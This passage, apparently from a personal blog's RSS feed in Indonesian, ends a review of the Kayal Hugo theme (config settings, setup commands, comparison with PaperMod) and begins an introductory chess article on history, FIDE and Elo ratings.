breadcrumbs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;83&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showBreadcrumbs&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;84&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;85&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Taxonomy settings&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;86&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;taxonomy&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;87&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to show counts of each taxonomy term.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;88&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showCount&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;89&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to display taxonomies as a grid of cards.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;90&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;cardView&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;91&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;92&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Term settings&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;93&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;term&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;94&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to group articles by year.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;95&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;groupByYear&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;96&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Whether to show dates with article listings.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;97&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;showDate&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;98&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;99&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Social links&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;100&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# [[social]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;101&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# name = &quot;GitHub&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;102&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# icon = &quot;github&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;103&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# url = &quot;https://github.com/mnjm/kayal&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;104&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;105&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# [[social]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;106&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# name = &quot;Email&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;107&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# icon = &quot;email&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;108&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# url = &quot;mailto:name@example.com&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;109&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;110&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;111&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[[&lt;/span&gt;&lt;span&gt;social&lt;/span&gt;&lt;span&gt;]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;112&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Instagram&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;113&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;icon&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;instagram&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;114&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;https://instagram.com/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;115&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;116&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[[&lt;/span&gt;&lt;span&gt;social&lt;/span&gt;&lt;span&gt;]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;117&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Tiktok&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;118&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;icon&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;tiktok&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;119&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;https://tiktok.com/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;120&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;121&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[[&lt;/span&gt;&lt;span&gt;social&lt;/span&gt;&lt;span&gt;]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;122&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Twitter / X&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;123&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;icon&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;x-twitter&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;124&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;https://x.com/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;125&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;126&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[[&lt;/span&gt;&lt;span&gt;social&lt;/span&gt;&lt;span&gt;]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;127&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Github&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;128&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;icon&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;github&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;129&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;https://github.com/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;130&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;131&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[[&lt;/span&gt;&lt;span&gt;social&lt;/span&gt;&lt;span&gt;]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;132&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Linkedin&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;133&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;icon&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;linkedin&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;134&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;https://linkedin.com/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah penampakan hasil file konfigurasi &lt;strong&gt;&lt;code&gt;params.toml&lt;/code&gt;&lt;/strong&gt; di atas:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;946&quot; height=&quot;942&quot; src=&quot;/_astro/ss8.BGJLLeBi_Z6OzHC.webp&quot; /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Catatan!&lt;/strong&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Gambar atau foto yang ingin ditampilkan di website berlokasi di direktori &lt;mark&gt; assets/imgs &lt;/mark&gt;. Perlu dicatat juga bahwa file foto yang akan ditampilkan pada website minimal memiliki ukuran 200px X 200px. Jika belum ada, silakan buat dulu:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mkdir&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;assets/imgs&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Jika kalian tidak ingin ada icon media sosial, tinggal &lt;em&gt;uncomment&lt;/em&gt; bagian social di file konfigurasi &lt;strong&gt;&lt;code&gt;params.toml&lt;/code&gt;&lt;/strong&gt; di atas.&lt;/li&gt;
&lt;li&gt;Urutan artikel di bagian &lt;mark&gt; &lt;strong&gt;Featured&lt;/strong&gt;&lt;/mark&gt; muncul berdasarkan waktu dibuatnya artikel tersebut. Yang paling atas adalah yang paling baru ditulis atau dibuat.&lt;/li&gt;
&lt;/ol&gt;&lt;/blockquote&gt;&lt;p&gt;Sebetulnya, kita masih bisa menambahkan semacam pesan pengantar di bawah &lt;em&gt;greetings&lt;/em&gt; pada tampilan utama website kita. Kita hanya perlu membuat file &lt;strong&gt;&lt;code&gt;_index.md&lt;/code&gt;&lt;/strong&gt; di direktori &lt;strong&gt;&lt;code&gt;content&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;touch&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;content/_index.md&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;Website ini akan saya gunakan untuk berbagi, baik *update* aktivitas harian, tips dan trik berbagai macam hal, dan masih banyak lagi. Oiya, jika kalian ingin menghubungi saya, saya memiliki beberapa media sosial di bawah ini ya! Selamat membaca!&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Berikut hasilnya:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;980&quot; src=&quot;/_astro/ss9.DJpVgb0B_2szUjL.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Beberapa Perbandingan dengan Tema Papermod&lt;a href=&quot;#beberapa-perbandingan-dengan-tema-papermod&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Supaya lebih fair, perbandingan ini akan saya buat dengan 2 mode, yaitu mode kelebihan tema Kayal dibandingkan dengan tema Papermod dan mode kekurangan tema Kayal dibandingkan dengan tema Papermod.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Kelebihan Kayal dari Papermod&lt;a href=&quot;#kelebihan-kayal-dari-papermod&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah beberapa kelebihan tema Kayal dari tema Papermod, menurut saya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Punya desain dan warna yang lebih fresh.&lt;/li&gt;
&lt;li&gt;Bisa menambahkan favicon lebih mudah.&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Kekurangan Kayal dari Papermod&lt;a href=&quot;#kekurangan-kayal-dari-papermod&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sedangkan, kekurangannya yaitu:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;File konfigurasinya lebih kompleks.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Yakkkk, itu saja. Wkwkwk.&lt;br /&gt;
Karena kekurangannya yang tidak signifikan dibandingkan dengan kelebihannya, akhirnya saya memutuskan untuk mengganti tema.&lt;br /&gt;
Xixixixi.&lt;/p&gt;&lt;p&gt;Okedeh, sekian dulu review singkat saya mengenai tema Kayal ini.&lt;br /&gt;
Sampai ketemu lagi di artikel saya yang lain!&lt;br /&gt;
See ya! 😎&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/mnjm/kayal&quot; target=&quot;_blank&quot;&gt;https://github.com/mnjm/kayal&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Introduction to Chess ♟️</title><link>https://shangdi.github.io/posts/chess/intro/</link><guid isPermaLink="true">https://shangdi.github.io/posts/chess/intro/</guid><description>This article shares (short) history, pieces, notation, and other things regarding Intro to Chess.</description><pubDate>Fri, 02 Aug 2024 07:59:33 GMT</pubDate><content:encoded>&lt;p&gt;Hola!&lt;/p&gt;
&lt;p&gt;Saya akan berbagi tentang catur di artikel ini. Sudah pada tau catur, kan? Iya, catur adalah permainan yang dimainkan oleh dua orang pada sebuah papan 64 petak yang berwarna gelap dan terang berukuran 8x8, dimana setiap pemain memiliki seperangkat buah catur (satu set buah catur) berjumlah 16 yang terdiri dari Raja, Menteri/Ratu, Gajah/Seluncur/Peluncur, Kuda, Benteng, dan Pion. Berikut adalah buah-buah catur beserta susunannya dalam papan catur:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;
&lt;figure&gt;&lt;img src=&quot;/_astro/ss2.DE9jj27Q_Zm5Pxw.webp&quot; alt=&quot;papan catur dan susunan buah catur&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; /&gt;&lt;figcaption&gt;papan catur dan susunan buah catur&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Catur menurut saya pribadi adalah salah satu permainan sekaligus olahraga (otak) yang dapat melatih cara berfikir strategis. Bahkan, sependek pengetahuan saya, catur sudah dimainkan sejak zaman dulu oleh raja-raja. Artinya, catur pada zaman itu adalah permainan “kelas atas” yang sekarang sudah bisa dinikmati oleh semua kelas atau kalangan. Meskipun demikian, sebagaimana hakikatnya yang saat ini diberi predikat “permainan”, catur juga punya sisi negatifnya.&lt;/p&gt;
&lt;p&gt;Nah, jadi, apa aja sih sebetulnya &lt;strong&gt;pro’s &amp;amp; con’s&lt;/strong&gt; catur?&lt;br /&gt;
Berikut akan saya coba jabarkan (tentu saja berdasarkan pengalaman dan pendapat pribadi saya):&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Pro’s &amp;amp; Con’s&lt;a href=&quot;#pros--cons&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Pro’s&lt;a href=&quot;#pros&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Catur melatih data ingat&lt;/strong&gt;, setidaknya karena kita harus mengingat ancaman atau peluang yang ada.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Catur melatih berfikir strategis&lt;/strong&gt; sehingga kita tidak sembarangan melangkahkan buah catur jika tidak ingin kalah.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Catur menilai seberapa cerdas diri kita&lt;/strong&gt; sebab kita bisa betul-betul marah karena kebodohan sendiri (&lt;em&gt;blunder&lt;/em&gt;).&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Con’s&lt;a href=&quot;#cons&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Catur membuang waktu&lt;/strong&gt;, terutama jika dari awal memang tidak menggunakan jam bermain.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Catur tidak sehat untuk fisik&lt;/strong&gt;, terutama jika terlalu banyak dan lama bermain sehingga lupa olahraga fisik.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Catur adalah &lt;em&gt;games&lt;/em&gt; intimidatif&lt;/strong&gt;, sebab, jika mental sudah ciut, maka kita rawan &lt;em&gt;blunder&lt;/em&gt; dan musuh mudah menang.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Beberapa poin di atas dimaksudkan supaya kita bisa mengambil sikap yang moderat terhadap catur sehingga siap untuk mulai belajar. Satu hal yang perlu diingat ketika akan mulai belajar catur adalah bahwa **catur tidak mempersyaratkan IQ yang tinggi untuk bisa menang. Tapi, catur mengharuskan EQ yang stabil untuk bisa menang. Artinya, selama seseorang punya minat yang besar terhadap catur, dia pasti bisa mempelajarinya dan memainkannya dan bukan hal yang mustahil juga untuk bisa menguasainya.&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Sejarah (singkat)&lt;a href=&quot;#sejarah-singkat&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Mengutip dari Detikcom, awal mula kemunculan catur sebetulnya sulit ditentukan secara akurat karena usianya yang sudah sangat tua. Bidak  catur diduga sudah ada sejak abad ke-6 Masehi. Beberapa sumber mengatakan catur berasal dari India, sebab adanya istilah &lt;em&gt;&lt;strong&gt;chaturanga&lt;/strong&gt;&lt;/em&gt; atau &lt;em&gt;&lt;strong&gt;chatur&lt;/strong&gt;&lt;/em&gt; yang artinya empat anggota tentara (gajah, kuda, kereta, dan pejalan kaki). Pendapat lain mengatakan catur berasal dari Arab, sebab adanya istilah &lt;em&gt;&lt;strong&gt;shatranj&lt;/strong&gt;&lt;/em&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Namun, menurut laman &lt;a href=&quot;https://www.chess.com/article/view/history-of-chess&quot; target=&quot;_blank&quot;&gt;Chesscom&lt;/a&gt;, catur berasal dari India sehingga kemudian menyebar ke Asia dan Eropa dan menjadi inspirasi lahirnya permainan papan lain, seperti &lt;em&gt;shogi&lt;/em&gt; (catur Jepang), &lt;em&gt;janggi&lt;/em&gt; (catur Korea), dan &lt;em&gt;xiangqi&lt;/em&gt; (catur China).&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Standardisasi permainan catur sebetulnya baru lahir belakangan ini di abad-19. Misalnya, bentuk buah catur yang kita kenal saat ini, awalnya diperkenalkan oleh seorang pecatur terkuat di masanya, yaitu &lt;strong&gt;Howard Staunton&lt;/strong&gt;. Selain itu, aturan waktu catur juga berkembang di abad ke-19 agar catur menjadi lebih kompetitif. Saat ini, permainan catur di seluruh dunia diatur oleh &lt;a href=&quot;https://www.fide.com/fide/about-fide&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;FIDE (Fédération Internationale des Échecs)&lt;/strong&gt;&lt;/a&gt;, sebuah federasi catur dunia yang mulanya dibentuk pada tahun 1924 di Paris dengan sebuah motto yang sangat terkenal, &lt;em&gt;&lt;strong&gt;“Gens Una Sumus”&lt;/strong&gt;&lt;/em&gt;, bahasa Latin yang berarti &lt;em&gt;We are One Family&lt;/em&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Rating &amp;amp; Gelar Catur&lt;a href=&quot;#rating--gelar-catur&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Untuk menentukan &lt;em&gt;rating&lt;/em&gt; dan gelar seorang pemain catur, &lt;strong&gt;Arpad Elo&lt;/strong&gt;, seorang profesor fisika di Amerika Serikat yang juga merupakan seorang Master Catur menciptakan sebuah sistem skoring untuk memprediksi level skill catur seseorang, yaitu Elo Rating.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Sistem Rating di Chesscom&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Sebetulnya Chess.com punya sistem &lt;em&gt;rating&lt;/em&gt;-nya sendiri alias tidak menggunakan sistem Elo &lt;em&gt;rating&lt;/em&gt; (walaupun banyak orang tidak terlalu peduli, dan  menyebut &lt;em&gt;rating&lt;/em&gt; seseorang dimanapun platformnya dengan sebutan Elo &lt;em&gt;rating&lt;/em&gt;). Chess.com menggunakan &lt;a href=&quot;http://www.glicko.net/glicko/glicko.pdf&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Glicko System&lt;/strong&gt;&lt;/a&gt; &lt;em&gt;rating&lt;/em&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;section&gt;&lt;h3&gt;Apa itu Elo Rating?&lt;a href=&quot;#apa-itu-elo-rating&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Elo &lt;em&gt;rating&lt;/em&gt; adalah sebuah sistem yang dibuat untuk mengukur kekuatan relatif seseorang pada permainan catur dibandingkan dengan pemain lain. Sistem Elo &lt;em&gt;rating&lt;/em&gt; ini secara resmi diadopsi oleh Federasi Catur Amerika Serikat pada tahun 1960 dan oleh FIDE pada tahun 1970. Saat ini, &lt;strong&gt;Grandmaster (GM) Magnus Carlsen&lt;/strong&gt; sebagai juara dunia ke-16 adalah pemain dengan skor Elo &lt;em&gt;rating&lt;/em&gt; tertinggi sepanjang sejarah manusia.
&lt;a href=&quot;https://www.chess.com/member/magnuscarlsen&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;/_astro/ss3.CziEYm8a_YYBUD.webp&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;3022&quot; height=&quot;1680&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Cara Kerja Elo Rating&lt;a href=&quot;#cara-kerja-elo-rating&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Skor Elo yang dimiliki oleh seseorang sebetulnya menggambarkan hasil permainan catur yang dinilai (&lt;em&gt;rated games&lt;/em&gt;) sebelumnya. Artinya, sistem Elo ini hanya menghitung kemungkinan hasil dari permainan seseorang dengan pemain lainnya. Misalnya, seorang pemain yang memiliki skor Elo 100 poin lebih tinggi dari lawannya diprediksi akan memenangkan sekitar 5 dari delapan (64%) games. Orang dengan Elo 200 lebih tinggi akan meningkatkan kemungkinan menangnya, yaitu menjadi 